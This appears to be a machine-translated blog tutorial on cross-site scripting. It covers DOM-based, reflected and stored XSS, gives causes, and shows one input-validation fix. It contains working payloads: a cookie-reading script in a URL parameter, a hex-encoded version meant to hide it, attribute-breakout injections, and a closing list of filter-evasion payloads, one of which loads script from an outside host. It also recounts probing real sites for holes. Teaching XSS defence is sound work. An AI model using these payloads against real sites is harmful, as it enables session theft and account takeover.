XSS Attack and defense

XSS attack and defense

XSS attacks: cross-site scripting attacks (Cross Site scripting) that are not confused with abbreviations for cascading style sheets (cascading style Sheets, CSS). A cross-site Scripting attack is abbreviated as XSS. XSS is a computer security vulnerability that often occurs in Web applications, allowing a malicious Web user to embed code in a page that is available to other users. For example, the code includes HTML code and client script. An attacker uses an XSS vulnerability to bypass access control-for example, same origin policy. This type of vulnerability has become widely known because it was used by hackers to write more damaging phishing attacks. For Cross-site scripting attacks, the hacker community consensus is that a cross-site scripting attack is a new "buffer overflow attack", while JavaScript is a new "ShellCode".

Among all the security threats counted in the 2007 owasp, cross-site scripting attacks accounted for 22%, the top of all web threats.

Note: Owasp is the most famous web security and database Security research organization in the world

The hazards of XSS attacks include

1, the theft of various types of user accounts, such as machine login account, user network Bank account, various types of administrator account

2, control enterprise data, including reading, tampering, add, delete enterprise sensitive data ability

3, theft of business important information of commercial value

4. Illegal transfer

5. Force send e-mail

6, the website hangs the horse

7, control the victim's machine to launch attacks on other websites

Classification of XSS vulnerabilities
XSS vulnerabilities are available in the following three types, depending on the exploit approach:

Type A, a local exploit that exists in the page on the client script itself.

The attack process is as follows:

Alice sends Bob a URL that maliciously constructs the web.

Bob clicks and looks at the URL.

JavaScript in a malicious page opens a vulnerable HTML page and installs it on Bob's computer.

A vulnerable HTML page contains javascript that executes on the local domain of Bob's computer.

Alice's malicious script can execute a command on Bob's computer under the permissions that Bob holds.

Type B, a reflective vulnerability that is similar to type A, differs when Web clients use server-side script generation pages to provide data to users, and if unauthenticated user data is included in the page without the HTML entity encoding, the client code can be injected into the dynamic page.

The attack process is as follows:

Alice often browses to a website that Bob owns. Bob's site runs Alice uses a username/password to log on and stores sensitive information (such as bank account information).

Charly found that Bob's site contains a reflective XSS vulnerability.

Charly writes an exploit URL and sends it to Alice as a message from Bob.

Alice browses to the URL provided by Charly after logging in to Bob's site.

A malicious script embedded in a URL executes in Alice's browser as if it were directly from Bob's server. This script steals sensitive information (authorization, credit card, account information, and so on) and then sends that information to the Charly Web site without the knowledge of Alice at all.

Type C, a storage vulnerability that is the most widely applied and potentially affecting the security of the Web server itself, is uploaded to the Web server by the hacker, making it possible for all users accessing the page to be exposed to information, including the administrator of the Web server.

The attack process is as follows:

Bob has a Web site that allows users to post information/browse published information.

Charly noticed that Bob's site had a XXS vulnerability of type C.

Charly publishes a hot message that attracts other users to read.

Bob or any other person, such as Alice, browses the information and its session cookies or other information will be stolen by Charly.

Type a directly threatens the user entity, while Type B and type C threaten objects that are enterprise-class Web applications.

XSS attack principle and attack mode

XSS is also called CSS (Cross site script), cross-site scripting attacks. It refers to a malicious attacker who inserts malicious HTML code into a Web page, and when the user browses to the page, the HTML code embedded inside the Web is executed to achieve the special purpose of the malicious user.

Students who have used ASP must have seen such code: Hello, <% Response.Write (Request.QueryString ("name"))%>

If I pass in the value of name is: <script>x=document.cookie;alert (x);</script>

This allows you to steal the user's cookies directly. So I can send a link address for someone else to point to: Http://www.xxx.com/reg.asp?name=<script>x=document.cookie;alert (x);</script>

Of course, this does not have a bit of concealment, although the xxx.com in front of a few, but most people can identify the following JavaScript code, so I just need to convert the following JavaScript code to the URL of the 16, such as: http:// www.xxx.com/reg.asp?name=%3C%73%63%72%69%70%74%3E%78%3D%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%61%6C% 65%72%74%28%78%29%3b%3c%2f%73%63%72%69%70%74%3e

Do you still recognize the URL above? Unless you switch it out. (The conversion can use the Napkin tool, alas, too bad.) Someone asked Napkin's download address, posted here well: http://www.0x90.org/releases/napkin/Napkin-1.0-Windows.zip) root cause

1. No constraints on input, no encoding of output
2. There is no strict distinction between "data" and "code" samples

Discover the famous Taobao also exists such loophole, we enter in the search box: "/><div style=" position:absolute;left:0px;top:0px; ><iframe src= "http://www.baidu.com" frameborder=0 width=1000 height=900/></div><a " time to use

I try to find XSS vulnerabilities in various websites, Baidu, amazon.cn, youku.com, dangdang.com, and so on. As a result, I find XSS vulnerabilities very common. In fact, XSS is using the echo of a Web page, that is, to receive input from a user, and then to display the user's input on the page. Summarize a few possible vulnerabilities: Search engine Message Board error page

By typing some special characters (including < >/") on the above types of pages, such as: </?jjkk>, and then search the source in the results page for the existence of the original: </?jjkk> if it exists, congratulations, you have found an XSS vulnerability. Classification 1. dom-based cross-site Scripting

The page itself contains the operations of some DOM objects, which may result in malicious scripting if the input parameters are not processed. Here are some DOM operations: document. URL document. Urlunencoded Document.location (and many of its IT properties) Document.referrer window.location (and many of its properties)

For example, if the code for a vulnerable page is as follows: <HTML> <TITLE>Welcome!</TITLE> Hi <SCRIPT> var pos=document. Url.indexof ("name=") +5; document.write (document. Url.substring (pos,document. Url.length)); </SCRIPT> <BR> Welcome to our system ... </HTML>

An attacker who accesses with the following URL is very dangerous: Http://www.vulnerable.site/welcome.html?name=<script>alert (document.cookie) </ Script>

Try it, looks like IE, Firefox and other browsers default to <script>alert (document.cookie) </script> code, blocking the execution of the script. However, for DOM operations to be more cautious ah, such as the above page to modify the security is enhanced a lot: <SCRIPT> var pos=document. Url.indexof ("name=") +5; var name=document. Url.substring (pos,document. Url.length); if (Name.match (/^[a-za-z0-9]$/)) {document.write (name);} else {Window.alert ("Security error"); </SCRIPT> 2 . Reflected Cross-site scripting

Also known as none-persistent Cross-site scripting, that is, non-persistent XSS attacks are what we usually say, and are the most common, most widely used way. It sends a URL with malicious script code parameters to someone, and when the URL address is opened, the unique malicious code parameter is parsed and executed by HTML. It is characterized by non-persistent, which must be clicked by the user to click on a link with a specific parameter. 3. Persistent Cross-site Scripting

Persistent XSS attacks, refers to the malicious script code is stored in the attacked database, when other users to browse the Web page, the site from the database read the illegal user to deposit illegal data, malicious script code was executed. This type of attack usually occurs in places such as message boards. Implementation Mode

Let's try a reflected cross-site scripting. When we enter the parameter xxx in a website, we find that the parameter xxx appears in the page source code: <input type= "text" class= "seach" Name= "W" value= "XXX"/>

OK, we can start a fuss, we will replace XXX with: abc "/><script>alert (' haha ') </script><a href=", the returned HTML code is as follows: <input type = "text" class= "seach" Name= "W" value= "abc"/> <script>alert (' haha ') </script><!– "/>"

In this way, the <script>alert (' haha ') </script> was executed. Here are some examples of XSS attacks: <script/xss src= "http://example.com/xss.js" ></SCRIPT> <<script>alert ("XSS"); <</SCRIPT> <iframe src=http://example.com/scriptlet.html < <input type= "IMAGE"  src= "Javascript:alert (' XSS ');" > <body background= "Javascript:alert (' XSS ')" > <body onload=alert (document.cookie) > < body onload!#$%& () *~+-_.,:;? @[/|"] ^ ' =alert (' XSS ') > <br size= ' &{alert (' XSS ')} ' > <table  background= "Javascript:alert (' XSS ') '" > <div style= "Width: expression (ALert (' XSS ')); " >